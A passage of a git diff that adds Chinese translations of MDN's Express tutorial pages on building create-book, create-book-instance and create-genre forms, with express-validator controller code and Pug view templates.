(book.genre.indexOf(results.genres[i]._id) > -1) { + results.genres[i].checked='true'; + } + } + res.render('book_form', { title: 'Create Book',authors:results.authors, genres:results.genres, book: book, errors: errors.array() }); + }); + return; + } + else { + // Data from form is valid. Save book. + book.save(function (err) { + if (err) { return next(err); } + //successful - redirect to new book record. + res.redirect(book.url); + }); + } + } +];</pre> + +<p>此代码的结构和行为,几乎与创建种类<code>Genre</code>或作者<code>Author</code>对象完全相同。首先,我们验证并清理数据。如果数据无效,那么我们将重新显示表单,以及用户最初输入的数据,和错误消息列表。如果数据有效,我们将保存新的<code>Book</code>记录,并将用户重定向到<code>Book</code>详细信息页面。</p> + +<p>与其他表单处理代码相关的第一个主要区别,是我们使用通配符,一次修剪和转义所有字段(而不是单独清理它们):</p> + +<pre class="brush: js line-numbers language-js">sanitizeBody('*').trim().escape(),</pre> + +<p>与其他表单处理代码相关的下一个主要区别,是我们如何清理种类<code>Genre</code>信息。表单返回一个<code>Genre</code>项的数组(而对于其他字段,它返回一个字符串)。为了验证信息,我们首先将请求转换为数组(下一步需要)。</p> + +<pre class="brush: js line-numbers language-js">// Convert the genre to an array. +(req, res, next) => { + if(!(req.body.genre instanceof Array)){ + if(typeof req.body.genre==='undefined') + req.body.genre=[]; + else + req.body.genre=new Array(req.body.genre); + } + next(); +},</pre> + +<p>然后,我们在清理器中使用通配符(*)来单独验证每个种类数组条目。下面的代码显示了 - 这转换为 “清理关键种类<code>genre</code>下的每个项目”。</p> + +<pre class="brush: js line-numbers language-js">sanitizeBody('genre.*').trim().escape(),</pre> + +<p>与其他表单处理代码的最终区别,在于我们需要将所有现有的种类和作者传递给表单。为了标记用户已经检查过的种类,我们遍历所有种类,并将<code>checked='true'</code>参数,添加到我们的 POST 数据中(如下面的代码片段中所示)。</p> + +<pre class="brush: js line-numbers language-js">// Mark our selected genres as checked. +for (let i = 0; i < results.genres.length; i++) { + if (book.genre.indexOf(results.genres[i]._id) > -1) { + // Current genre is selected. Set "checked" flag. + results.genres[i].checked='true'; + } +}</pre> + +<h2 class="highlight-spanned" id="视图">视图</h2> + +<p>创建 <strong>/views/book_form.pug</strong>,并复制下面的文本。</p> + +<pre class="line-numbers language-html">extends layout + +block content + h1= title + + form(method='POST' action='') + div.form-group + label(for='title') Title: + input#title.form-control(type='text', placeholder='Name of book' name='title' required='true' value=(undefined===book ? '' : book.title) ) + div.form-group + label(for='author') Author: + select#author.form-control(type='select', placeholder='Select author' name='author' required='true' ) + for author in authors + if book + option(value=author._id selected=(author._id.toString()==book.author ? 'selected' : false) ) #{author.name} + else + option(value=author._id) #{author.name} + div.form-group + label(for='summary') Summary: + input#summary.form-control(type='textarea', placeholder='Summary' name='summary' value=(undefined===book ? '' : book.summary) required='true') + div.form-group + label(for='isbn') ISBN: + input#isbn.form-control(type='text', placeholder='ISBN13' name='isbn' value=(undefined===book ? '' : book.isbn) required='true') + div.form-group + label Genre: + div + for genre in genres + div(style='display: inline; padding-right:10px;') + input.checkbox-input(type='checkbox', name='genre', id=genre._id, value=genre._id, checked=genre.checked ) + label(for=genre._id) #{genre.name} + button.btn.btn-primary(type='submit') Submit + + if errors + ul + for error in errors + li!= error.msg</pre> + +<p>视图结构和行为与 <strong>genre_form.pug</strong> 模板几乎相同。</p> + +<p>主要区别在于,我们如何实现选择类型字段:作者<code>Author</code>和种类<code>Genre</code>。</p> + +<ul> + <li>种类集合显示为复选框,使用我们在控制器中设置的检查值<code>checked</code>,来确定是否应该选中该框。</li> + <li>作者集合显示为单选下拉列表。在这种情况下,我们通过比较当前作者选项的 id 与用户先前输入的值(作为<code>book</code>变量传入),来确定要显示的作者。这在上面突出显示! + <div class="note"> + <p><strong>注意:</strong> 如果提交的表单中存在错误,那么,当要重新呈现表单时,新的书本作者仅使用字符串(作者列表中选中选项的值)进行标识。相比之下,现有的书本作者的<code>_id</code>属性不是字符串。因此,要比较新的和现有的,我们必须将每个现有书本作者的<code>_id</code>,强制转换为字符串,如上所示。</p> + </div> + </li> +</ul> + +<h2 class="highlight-spanned" id="它看起來像是">它看起來像是?</h2> + +<p>运行应用程序,将浏览器打开到<a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000</a>,然后选择Create new book链接。如果一切设置正确,您的网站应该类似于以下屏幕截图。提交有效的图书后,应将其保存,然后您将进入图书详细信息页面。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14484/LocalLibary_Express_Book_Create_Empty.png" style="display: block; height: 498px; margin: 0px auto; width: 1000px;"></p> + +<h2 id="下一步">下一步</h2> + +<p>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6: 使用表单</a></p> + +<p>继续教程 6 的下一个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form">创建书本实例表单</a></p> diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html new file mode 100644 index 0000000000..6809ec4e93 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html @@ -0,0 +1,150 @@ +--- +title: 创建书本实例表单 +slug: learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form +--- +<p><a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms$edit#Create_BookInstance_form" rel="nofollow, noindex"><span>Edi</span></a>本章节演示如何定义一个页面/表单,以创建<code>BookInstance</code> 物件。这很像我们用来创建书本 <code>Book</code> 物件的表单。</p> + +<h2 class="highlight-spanned" id="导入验证和清理方法">导入验证和清理方法</h2> + +<p>打开 <strong>/controllers/bookinstanceController.js</strong>,并在档案最上方加入以下几行:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> <span class="punctuation token">{</span> body<span class="punctuation token">,</span>validationResult <span class="punctuation token">}</span> <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express-validator/check'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">const</span> <span class="punctuation token">{</span> sanitizeBody <span class="punctuation token">}</span> <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express-validator/filter'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="控制器—get_路由"><span class="highlight-span">控制器—get 路由</span></h2> + +<p>在档案最上方,用 require 导入书本模型 (因为每个<code>BookInstance</code> 都有关连的 <code>Book</code>)。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> Book <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'../models/book'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>找到导出的 <code>bookinstance_create_get()</code> 控制器方法,并替换为底下代码。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display BookInstance create form on GET.</span> +exports<span class="punctuation token">.</span>bookinstance_create_get <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + Book<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span><span class="string token">'title'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> books<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful, so render.</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'bookinstance_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>title<span class="punctuation token">:</span> <span class="string token">'Create BookInstance'</span><span class="punctuation token">,</span> book_list<span class="punctuation token">:</span>books<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>控制器取得所有书本的列表 (<code>book_list</code>) 并将它传送到视图 <code><strong>bookinstance_form.pug</strong></code> (里面附加上 <code>title</code>)。</p> + +<h2 class="highlight-spanned" id="控制器—post_路由"><span class="highlight-span">控制器—post 路由</span></h2> + +<p>找到导出的 <code>bookinstance_create_post()</code> 控制器方法,并替换为底下代码。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Handle BookInstance create on POST.</span> +exports<span class="punctuation token">.</span>bookinstance_create_post <span class="operator token">=</span> <span class="punctuation token">[</span> + + <span class="comment token">// Validate fields.</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'book'</span><span class="punctuation token">,</span> <span class="string token">'Book must be specified'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'imprint'</span><span class="punctuation token">,</span> <span class="string token">'Imprint must be specified'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'due_back'</span><span class="punctuation token">,</span> <span class="string token">'Invalid date'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">optional</span><span class="punctuation token">(</span><span class="punctuation token">{</span> checkFalsy<span class="punctuation token">:</span> <span class="keyword token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isISO8601</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Sanitize fields.</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'book'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'imprint'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'status'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'due_back'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">toDate</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Process request after validation and sanitization.</span> + <span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> + + <span class="comment token">// Extract the validation errors from a request.</span> + <span class="keyword token">const</span> errors <span class="operator token">=</span> <span class="function token">validationResult</span><span class="punctuation token">(</span>req<span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="comment token">// Create a BookInstance object with escaped and trimmed data.</span> + <span class="keyword token">var</span> bookinstance <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">BookInstance</span><span class="punctuation token">(</span> + <span class="punctuation token">{</span> book<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>book<span class="punctuation token">,</span> + imprint<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>imprint<span class="punctuation token">,</span> + status<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>status<span class="punctuation token">,</span> + due_back<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>due_back + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>errors<span class="punctuation token">.</span><span class="function token">isEmpty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// There are errors. Render form again with sanitized values and error messages.</span> + Book<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span><span class="string token">'title'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> books<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful, so render.</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'bookinstance_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Create BookInstance'</span><span class="punctuation token">,</span> book_list <span class="punctuation token">:</span> books<span class="punctuation token">,</span> selected_book <span class="punctuation token">:</span> bookinstance<span class="punctuation token">.</span>book<span class="punctuation token">.</span>_id <span class="punctuation token">,</span> errors<span class="punctuation token">:</span> errors<span class="punctuation token">.</span><span class="function token">array</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> bookinstance<span class="punctuation token">:</span>bookinstance <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">return</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="punctuation token">{</span> + <span class="comment token">// Data from form is valid.</span> + bookinstance<span class="punctuation token">.</span><span class="function token">save</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful - redirect to new record.</span> + res<span class="punctuation token">.</span><span class="function token">redirect</span><span class="punctuation token">(</span>bookinstance<span class="punctuation token">.</span>url<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> +<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre> + +<p>此代码的结构和行为,与创建其他对象的结构和行为相同。首先,我们验证数据,并為数据做無害化處理。如果数据无效,我们会重新显示表單,以及用户最初输入的数据,還有错误消息列表。如果数据有效,我们保存新的<code>BookInstance</code>记录,并将用户重定向到详细信息页面。</p> + +<h2 class="highlight-spanned" id="视图"><span class="highlight-span">视图</span></h2> + +<p>创建 <strong>/views/bookinstance_form.pug</strong> ,并复制贴上以下代码。</p> + +<pre class="line-numbers language-html"><code class="language-html">extends layout + +block content + h1=title + + form(method='POST' action='') + div.form-group + label(for='book') Book: + select#book.form-control(type='select' placeholder='Select book' name='book' required='true') + for book in book_list + if bookinstance + option(value=book._id selected=(bookinstance.book.toString()==book._id.toString() ? 'selected' : false)) #{book.title} + else + option(value=book._id) #{book.title} + + div.form-group + label(for='imprint') Imprint: + input#imprint.form-control(type='text' placeholder='Publisher and date information' name='imprint' required='true' value=(undefined===bookinstance ? '' : bookinstance.imprint)) + div.form-group + label(for='due_back') Date when book available: + input#due_back.form-control(type='date' name='due_back' value=(undefined===bookinstance ? '' : bookinstance.due_back)) + + div.form-group + label(for='status') Status: + select#status.form-control(type='select' placeholder='Select status' name='status' required='true') + option(value='Maintenance') Maintenance + option(value='Available') Available + option(value='Loaned') Loaned + option(value='Reserved') Reserved + + button.btn.btn-primary(type='submit') Submit + + if errors + ul + for error in errors + li!= error.msg</code></pre> + +<p>这个视图的结构和行为,几乎等同于 <strong>book_form.pug</strong> 模板,因此我们就不再重覆说明一次了。</p> + +<div class="note"> +<p><strong>注意:</strong> 以上的模板将状态值 (Maintenance, Available, 等等) 写死在代码里,而且不能 "记忆" 使用者的输入值。如果你愿意的话,考虑重新实作此列表,当表单被重新呈现时,从控制器传入选项数据,并设定选中的值。</p> +</div> + +<h2 class="highlight-spanned" id="它看起來像是"><span class="highlight-span">它看起來像是?</span></h2> + +<p>运行本应用,打开浏览器访问网址 <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>。然后点击创建新书本实例 Create new book instance (copy) 连结。如果每个东西都设定正确了,你的网站看起应该像底下的截图。在你提交一个有效的 <code>BookInstance</code> 之后,它应该会被储存,并且你将被带到详细信息页面。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14490/LocalLibary_Express_BookInstance_Create_Empty.png" style="display: block; height: 554px; margin: 0px auto; width: 1000px;"></p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6: 使用表单</a></li> + <li>继续教程 6 的下一个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Delete_author_form">删除作者表单</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/create_genre_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/create_genre_form/index.html new file mode 100644 index 0000000000..ffee2341cf --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/create_genre_form/index.html @@ -0,0 +1,298 @@ +--- +title: 创建种类表单 +slug: learn/Server-side/Express_Nodejs/forms/Create_genre_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Create_genre_form +--- +<p>本章节演示如何定义我们的页面,创建<code>Genre</code> 物件(这是一个很好的起点,因为类型只有一个字段,它的名称<code>name</code>,没有依赖项)。像任何其他页面一样,我们需要设置路由,控制器和视图。</p> + +<h2 class="highlight-spanned" id="引入验证与无害化方法">引入验证与无害化方法</h2> + +<p>在我们的控制器中使用 <em>express-validator</em> 验证器,我們必須导入我们想要从 <strong>'express-validator/check</strong>' 和 <strong>'express-validator/filter</strong>' 模块中使用的函数。</p> + +<p>打开<strong>/controllers/genreController.js</strong>,并在文件顶部添加以下行:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> <span class="punctuation token">{</span> body<span class="punctuation token">,</span>validationResult <span class="punctuation token">}</span> <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express-validator/check'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">const</span> <span class="punctuation token">{</span> sanitizeBody <span class="punctuation token">}</span> <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express-validator/filter'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="控制器—get路由"><span class="highlight-span">控制器—get路由</span></h2> + +<p>找到导出的<code>genre_create_get()</code> 控制器方法,并将其替换为以下代码。这只是渲染<strong>genre_form.pug</strong>视图,传递一个title变量。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display Genre create form on GET.</span> +exports<span class="punctuation token">.</span>genre_create_get <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'genre_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Create Genre'</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="控制器—post_路由"><span class="highlight-span">控制器—post 路由</span></h2> + +<p>找到导出的<code>genre_create_post()</code>控制器方法,并将其替换为以下代码。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Handle Genre create on POST.</span> +exports<span class="punctuation token">.</span>genre_create_post <span class="operator token">=</span> <span class="punctuation token">[</span> + + <span class="comment token">// Validate that the name field is not empty.</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'name'</span><span class="punctuation token">,</span> <span class="string token">'Genre name required'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Sanitize (trim and escape) the name field.</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'name'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Process request after validation and sanitization.</span> + <span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> + + <span class="comment token">// Extract the validation errors from a request.</span> + <span class="keyword token">const</span> errors <span class="operator token">=</span> <span class="function token">validationResult</span><span class="punctuation token">(</span>req<span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="comment token">// Create a genre object with escaped and trimmed data.</span> + <span class="keyword token">var</span> genre <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Genre</span><span class="punctuation token">(</span> + <span class="punctuation token">{</span> name<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>name <span class="punctuation token">}</span> + <span class="punctuation token">)</span><span class="punctuation token">;</span> + + + <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>errors<span class="punctuation token">.</span><span class="function token">isEmpty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// There are errors. Render the form again with sanitized values/error messages.</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'genre_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Create Genre'</span><span class="punctuation token">,</span> genre<span class="punctuation token">:</span> genre<span class="punctuation token">,</span> errors<span class="punctuation token">:</span> errors<span class="punctuation token">.</span><span class="function token">array</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">return</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="punctuation token">{</span> + <span class="comment token">// Data from form is valid.</span> + <span class="comment token">// Check if Genre with same name already exists.</span> + Genre<span class="punctuation token">.</span><span class="function token">findOne</span><span class="punctuation token">(</span><span class="punctuation token">{</span> <span class="string token">'name'</span><span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>name <span class="punctuation token">}</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span> <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> found_genre<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span>found_genre<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// Genre exists, redirect to its detail page.</span> + res<span class="punctuation token">.</span><span class="function token">redirect</span><span class="punctuation token">(</span>found_genre<span class="punctuation token">.</span>url<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="punctuation token">{</span> + + genre<span class="punctuation token">.</span><span class="function token">save</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Genre saved. Redirect to genre detail page.</span> + res<span class="punctuation token">.</span><span class="function token">redirect</span><span class="punctuation token">(</span>genre<span class="punctuation token">.</span>url<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="punctuation token">}</span> + + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> +<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre> + +<p>首先要注意的是,控制器不是单个中间件函数(带参数(<code>req, res, next</code>)),而是指定一组中间件函数。数组传递给路由器函数,并按顺序调用每个方法。</p> + +<ul> +</ul> + +<div class="note"> +<p><strong>注意:</strong> 这种方法是必需的,因为消毒/验证器是中间件功能。</p> +</div> + +<p>数组中的第一个方法定义了一个验证器(<code>body</code>),来检查 name 字段是否为空(在执行验证之前调用<code>trim()</code>,以删除任何尾随/前导空格)。</p> + +<p>数组中的第二个方法(<code>sanitizeBody()</code>),创建一个清理程序来调用<code>trim()</code>修剪名称字段和调用<code>escape()</code>转义任何危险的 HTML 字符。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Validate that the name field is not empty.</span> +<span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'name'</span><span class="punctuation token">,</span> <span class="string token">'Genre name required'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + +<span class="comment token">// Sanitize (trim and escape) the name field.</span> +<span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'name'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span></code></pre> + +<ul> +</ul> + +<div class="note"> +<p><strong>注意:</strong> 验证期间运行的清洁器不会修改请求。这就是为什么我们必须在上面的两个步骤中调用<code>trim()</code>!</p> +</div> + +<p>在指定验证器和清理器之后,我们创建了一个中间件函数,来提取任何验证错误。我们使用<code>isEmpty()</code> 来检查验证结果中,是否有任何错误。如果有,那么我们再次渲染表单,传入我们的已清理种类对象和错误消息的数组(<code>errors.array()</code>)。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Process request after validation and sanitization.</span> +<span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> + + <span class="comment token">// Extract the validation errors from a request.</span> + <span class="keyword token">const</span> errors <span class="operator token">=</span> <span class="function token">validationResult</span><span class="punctuation token">(</span>req<span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="comment token">// Create a genre object with escaped and trimmed data.</span> + <span class="keyword token">var</span> genre <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Genre</span><span class="punctuation token">(</span> + <span class="punctuation 